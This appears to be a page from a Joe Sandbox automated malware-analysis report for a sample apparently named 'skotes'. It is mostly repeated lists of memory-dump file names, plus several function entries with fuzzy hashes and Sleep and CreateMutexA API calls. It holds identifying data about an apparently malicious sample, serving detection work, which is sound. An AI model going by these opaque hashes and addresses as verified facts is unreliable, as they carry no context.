Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5b08be6002e9f1f06b9e23a1c8edcaed327efe4db314c71eeeb44b1401f7356a
Instruction ID: 91c6e94ed0b49399345b66e8b85b8b0e900689763e78a840070e51b45cf8d90f
Opcode Fuzzy Hash: 5b08be6002e9f1f06b9e23a1c8edcaed327efe4db314c71eeeb44b1401f7356a
Instruction Fuzzy Hash: B73179317002089BEB189B78DC89FADB7A2EBC6314F34861DE014E77D2D73A99818752

Function 000CA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ec8d89fcc1ec31f764ae60c402fe3b2612d8468cebb7a5ec26cfc322a2745672
Instruction ID: c17b153f1c97c29dd1c603156363afb5f15af88d99a73b861d8280a8b580e998
Opcode Fuzzy Hash: ec8d89fcc1ec31f764ae60c402fe3b2612d8468cebb7a5ec26cfc322a2745672
Instruction Fuzzy Hash: BE3148317002089BEB189B78DD89FADB7B2DBC2318F24821DE514977D6D73A99808762

Function 000CA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e61f9d6383c651a22875c2fb4a6b68fb2a38f4ec22fdf12598e2972b58b08524
Instruction ID: 5d46add3e6995a0118ac14b889e58d3e38188c34c1159865582cf68e0c3145a5
Opcode Fuzzy Hash: e61f9d6383c651a22875c2fb4a6b68fb2a38f4ec22fdf12598e2972b58b08524
Instruction Fuzzy Hash: 4A314A317002089FFB189BBCDC89FADB762EB87318F24821DE014977D2D73A99809752

Function 000CA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776513352.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776528631.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776544217.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776559894.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776574418.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776630719.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776648152.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776713295.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776730442.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776812966.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776864278.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776881195.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776901284.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776941933.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776985054.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777000350.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777055601.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1777072543.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e1c9cdf2f35bced8e7d5318b70ca3927d246caeb9bc4d5ce14f8df8c2bb3a4aa
Instruction ID: ad5635ede88d13d4c13e8882271c89edfa1a00a477a3fdc7827b008f9b8d6d5f
Opcode Fuzzy Hash: e1c9cdf2f35bced8e7d5318b70ca3927d246caeb9bc4d5ce14f8df8c2bb3a4aa
Instruction Fuzzy Hash: EA314C317002089BEB1C9BB8DC89FBDB762DFC2318F24821DE154977D6D77A99809762

Function 000CA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000002.00000002.1775814065.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775834203.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775887913.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775902655.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775918351.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775933052.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1775947529.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776036017.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776052599.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776070516.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776101108.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776118135.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776136364.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776152745.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776173136.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776189306.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776205915.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776223933.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776241360.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776256880.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776277892.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776295722.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776311996.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776327428.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776343218.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776358257.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776372867.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776390173.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776406722.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776422589.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776438786.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776454982.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776469657.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776484806.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1776498929.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
